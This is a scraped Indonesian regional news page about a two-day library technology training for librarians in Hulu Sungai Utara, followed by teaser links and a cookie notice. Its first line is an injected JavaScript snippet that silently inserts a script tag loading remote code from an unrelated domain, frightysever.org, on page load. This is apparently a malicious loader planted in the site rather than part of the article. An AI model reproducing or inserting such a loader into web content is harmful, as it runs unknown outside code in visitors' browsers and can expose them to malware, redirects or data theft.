(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Guna peningkatan mutu pelayanan perpustakaan serta pelestarian koleksi di perpustakaan, Dinas Perpustakaan dan Kearsipan (Dispersip) Hulu Sungai Utara (HSU) menggelar pelatihan Bimbingan Teknis (Bimtek) Pengembangan.
Kegiatan yang berlangsung selama dua hari dari tanggal 30-31 Agustus 2021, diikuti pustakawan se-Kabupaten HSU dari pengelola perpustakaan daerah, pustakawan desa hingga pustakawan sekolah dan perguruan tinggi.
Kepala Dispersip HSU Hj Lailatanur Raudhah, saat membuka kegiatan mengatakan di era teknologi yang semakin pesat berkembang, perpustakaan sebagai lembaga penyedia informasi harus dapat berkontribusi dalam memberikan pelayanan secara cepat, tepat dan akurat.
Baca juga: Pemkab Banjar Gelar Rakor Mingguan di Dinas PUPR Kabupaten Banjar
Dikatakannya, perkembangan teknologi informasi sudah sewajarnya dapat diterapkan dalam pelayanan perpustakaan agar mudah, efektif dan cepat dalam pelayanan terbaik.
Kemajuan teknologi informasi sekarang mempermudah dalam memberikan pelayanan, dimana para pustakawan cukup dengan menggunakan elektronik aplikasi atau website dalam memberikan pelayanan kepada masyarakat.
“Berbagai fitur aplikasi media elektronik sekarang sudah berkembang sedemikian rupa, untuk memudahkan masyarakar dalam mengakses informasi diantaranya, jurnal-jurnal elektronik dan aplikasi perpustakaan nasional yang dapat dinikmati cukup dalam genggaman,” kata Laila.
Hal tersebut, lanjutnya merupakan tindak lanjut, berdasarkan Undang-Undang Nomor 43 Tahun 2007 dan Peraturan Pemerintah Nomor 24 Tahun 2014, menyebutkan aspek-aspek perpustakaan dan pustakawan yang terkait dengan teknologi informasi dan komunikasi.
Lebih jauh, standar nasional perpustakaan bagi perpustakaan umum sekolah dan khusus mensyaratkan untuk memanfaatkan sarana komputer dalam membangun e-Library sebagai perpustakaan digital dan kepentingan pelayanan akses informasi.
Dengan adanya kegiatan bimbingan teknis ini nantinya pengelola perpustakaan dapat menerapkan teknologi informasi di perpustakaan mereka masing-masing.
Baca juga: 47 Sekolah di HSU Kembali Jalani PTM Terbatas
“Tentunya agar dapat memudahkan pekerjaan-pekerjaan segala di perpustakaan, baik di perpustakaan perguruan tinggi, sekolah, kecamatan maupun perpustakaan desa,” imbuhnya
Selain itu, perpustakaan sebagai pusat informasi yang memanfaatkan berbagai media informasi dan pustakawan atau pengelola perpustakaan sebagai jembatan pemustaka.
“Para pustakawan tidak hanya sebagai orang penjaga buku tetapi mengelola isi yang terkandung di dalamnya,” pungkasnya. (kanalkalimantan.com/dew)
Reporter: dew
Editor: cell
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
KANALKALIMANTAN.COM, BANJARBARU - Di akhir masa tugas yang diemban, Penjabat Sementara (Pjs) Wali Kota Banjarbaru… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyinggung peluang menjemput paksa mantan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sembilan partai politik (Parpol) pemegang kursi Dewan Perwakilan Rakyat Daerah (DPRD) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
This website uses cookies.